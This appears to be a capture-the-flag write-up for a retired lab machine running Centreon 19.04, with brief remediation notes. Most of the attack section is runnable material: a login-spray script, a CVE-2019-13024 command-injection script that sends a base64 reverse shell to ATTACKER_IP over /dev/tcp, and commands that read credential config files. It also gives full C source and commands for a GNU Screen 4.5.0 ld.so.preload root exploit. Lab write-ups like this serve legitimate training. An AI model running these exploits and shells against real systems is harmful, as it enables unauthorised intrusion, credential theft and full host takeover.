Wall
Summary
I scanned the target and found an Apache web server hosting Centreon, a network-monitoring platform at version 19.04. A short automated credential spray against the Centreon login form found the built-in administrator account protected by the trivially weak password '[REDACTED: recovered credential]', handing my full admin access with no lockout triggered. Using that session, I exploited a known authenticated command-injection flaw in Centreon's poller-configuration feature (CVE-2019-13024), bypassing a space-character filter by substituting ${IFS} to deliver a reverse shell as the web-server account (www-data).
Config files readable by that account stored database credentials in plaintext; those credentials were reused as the login password for the local OS account 'shelby', converting a limited web-process foothold into a full interactive SSH session and yielding the user flag. Post-login enumeration revealed a SUID-root copy of GNU Screen version 4.5.0, which carries a well-known local privilege-escalation flaw allowing any user to write into /etc/ld.so.preload as root; exploiting this loaded my own shared library, produced a root shell, and gave complete control of the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD5="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p- --min-rate 4000 -T4 --open $TARGETnmap -Pn -sV -p22,80 $TARGETferoxbuster -u http://$TARGET -x php,html,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -s 200,301,302,401,403 -d 2 -q -nExact commands 1
python3 -c "
import requests, sys
base = 'http://$TARGET/centreon'
for pw in ['admin', 'centreon', 'password', '$PASSWORD5']:
s = requests.Session()
r = s.post(base + '/index.php',
data={'useralias': 'admin', 'password': pw, 'submitLogin': 'Connect'},
allow_redirects=False, timeout=8)
print(pw, r.status_code, r.headers.get('Location',''))
"FixReplace the default Centreon administrator password and enable login lockoutCritical
Exact commands 4
nc -lvnp 4444searchsploit -m 47069python3 - <<'PY'
import re, base64, requests
base = "http://$TARGET/centreon"
s = requests.Session()
r = s.get(base + '/index.php', timeout=8)
tok = re.search(r'name="centreon_token"[^>]*value="([^"]+)"', r.text).group(1)
s.post(base + '/index.php',
data={'useralias': 'admin', 'password': '$PASSWORD5',
'submitLogin': 'Connect', 'centreon_token': tok}, timeout=8)
rev = "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
b64 = base64.b64encode(rev.encode()).decode()
payload = f'echo${{IFS}}{b64}|base64${{IFS}}-d|bash'
print('Payload:', payload)
# POST payload into poller command-line field, save poller, then trigger
# Configuration -> Pollers -> Generate configuration / Export
PYid; hostname; uname -aFixUpgrade Centreon to a version that patches the CVE-2019-13024 command-injection flawCritical
Exact commands 3
cat /etc/centreon/conf.pmcat /usr/share/centreon/config/centreon.conf.phpfind /etc/centreon /usr/share/centreon -type f \( -name '*.conf*' -o -name '*.pm' -o -name '*.php' \) 2>/dev/null | xargs grep -l 'password\|passwd' 2>/dev/nullFixRemove plaintext credentials from web-application config files and enforce password uniquenessHigh
Exact commands 2
ssh shelby@$TARGETcat ~/user.txtExact commands 7
find / -perm -4000 -type f 2>/dev/nullls -la /bin/screen-4.5.0cat > /tmp/libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void) {
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -ldl -nostartfiles -o /tmp/libhax.so /tmp/libhax.ccat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
int main(void) { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/sh"); }
EOF
gcc -o /tmp/rootshell /tmp/rootshell.ccd /etc && /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" && /bin/screen-4.5.0 -ls/tmp/rootshellcat /root/root.txtFixRemove the SUID bit from GNU Screen 4.5.0 and upgrade to a patched releaseHigh
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |